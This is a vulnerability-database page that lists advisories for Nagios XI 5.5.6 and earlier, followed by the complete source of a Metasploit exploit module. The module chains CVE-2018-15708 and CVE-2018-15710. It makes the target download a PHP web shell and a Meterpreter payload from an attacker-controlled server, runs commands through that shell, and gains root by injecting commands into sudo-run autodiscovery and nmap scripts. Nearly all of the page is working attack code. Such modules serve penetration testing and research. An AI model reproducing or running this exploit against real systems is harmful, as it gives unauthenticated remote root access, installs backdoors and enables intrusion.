| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation Exploit | 23 Jan 201900:00 | – | zdt | |
| Nagios XI Magpie_debug.php Root Remote Code Execution Exploit | 26 Jun 201900:00 | – | zdt | |
| Nagios XI RCE via Snoopy Library | 14 Nov 201800:00 | – | attackerkb | |
| CVE-2018-15708 | 5 Feb 201908:36 | – | circl | |
| CVE-2018-15710 | 5 Feb 201908:36 | – | circl | |
| Nagios XI elevation of privilege vulnerability (CNVD-2018-23141) | 15 Nov 201800:00 | – | cnvd | |
| Nagios XI Snoopy Unauthorized Remote Command Execution Vulnerability | 4 Dec 201800:00 | – | cnvd | |
| Nagios XI Magpie cURL Argument Injection (CVE-2018-15708) | 18 Feb 201900:00 | – | checkpoint_advisories | |
| Nagios XI Cmdsubsys Command Injection (CVE-2018-15709; CVE-2018-15710) | 20 Feb 201900:00 | – | checkpoint_advisories | |
| CVE-2018-15708 | 14 Nov 201818:00 | – | cve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Magpie_debug.php Root Remote Code Execution',
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE-2018-15710 which allows for local privilege escalation.
When combined, these two vulnerabilities allow execution of arbitrary
commands as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # Discovery and exploit
'Guillaume André (@yaumn_)', # Metasploit module
'bcoles', # Additional writable paths and usability/reliability/cleanup fixes
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI <= 5.5.6', { version: Gem::Version.new('5.5.6') }]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => true,
'DisclosureDate' => '2018-11-14',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
])
@WRITABLE_PATHS = [
# writable as 'apache' user
['/usr/local/nagvis/share', '/nagvis'],
# writable as 'apache' user
['/var/www/html/nagiosql', '/nagiosql'],
# writable as 'nagios' group
['/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs', '/nagiosxi/includes/components/autodiscovery/jobs'],
# writable as 'nagios' group
['/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp', '/nagiosxi/includes/components/highcharts/exporting-server/temp'],
]
@writable_path_index = 0
@webshell_name = "#{Rex::Text.rand_text_alpha(10..12)}.php"
@meterpreter_name = Rex::Text.rand_text_alpha(10..12)
end
def on_request_uri(cli, _req)
if @current_payload == @webshell_name
send_response(cli, "<?php system($_GET['cmd'])?>")
else
send_response(cli, generate_payload_exe)
end
end
def primer
path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
print_status("Uploading to #{path} ...")
res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")
unless res
print_error("Could not upload #{@current_payload} to target. No reply.")
return false
end
unless res.code == 200
print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
return false
end
if res.body.include?('Error: MagpieRSS: Failed to fetch')
print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
return false
end
register_file_for_cleanup(path)
end
def upload_success?
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5
)
unless res
print_error("Could not access #{@current_payload}. No reply.")
return false
end
unless res.code == 200
print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
return false
end
print_good("#{@current_payload} uploaded successfully!")
true
end
def magpie_debug(url = '')
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri('/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'),
'vars_get' => {
'url' => url
}
}, 5
)
end
def check
res = magpie_debug
unless res
return CheckCode::Safe('No reply.')
end
if res.code == 200 && res.body.include?('MagpieRSS')
return CheckCode::Appears('Found MagpieRSS.')
end
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5
)
end
def exploit
all_files_uploaded = false
# Upload PHP web shell and meterpreter to writable directory on target
for i in 0...@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !upload_success?
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
unless all_files_uploaded
fail_with(Failure::NotVulnerable, 'Uploading payload failed')
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
res = execute_command('id')
unless res && res.body.include?('uid=')
fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
end
id = res.body.scan(/^(uid=.+)$/).flatten.first
if id.blank?
fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
end
print_good("Success! Commands executed as user: #{id}")
print_status('Attempting privilege escalation ...')
nse_path = "/var/tmp/#{Rex::Text.rand_text_alpha(10..12)}.nse"
register_file_for_cleanup(nse_path)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > #{nse_path} " \
"&& sudo nmap --script #{nse_path}"
]
# Try to launch root shell
for cmd in cmds
vprint_status("Trying: #{cmd}")
execute_command(cmd)
break if session_created?
end
unless session_created?
print_error('Privilege escalation failed')
print_status("Executing payload as #{id} ...")
execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation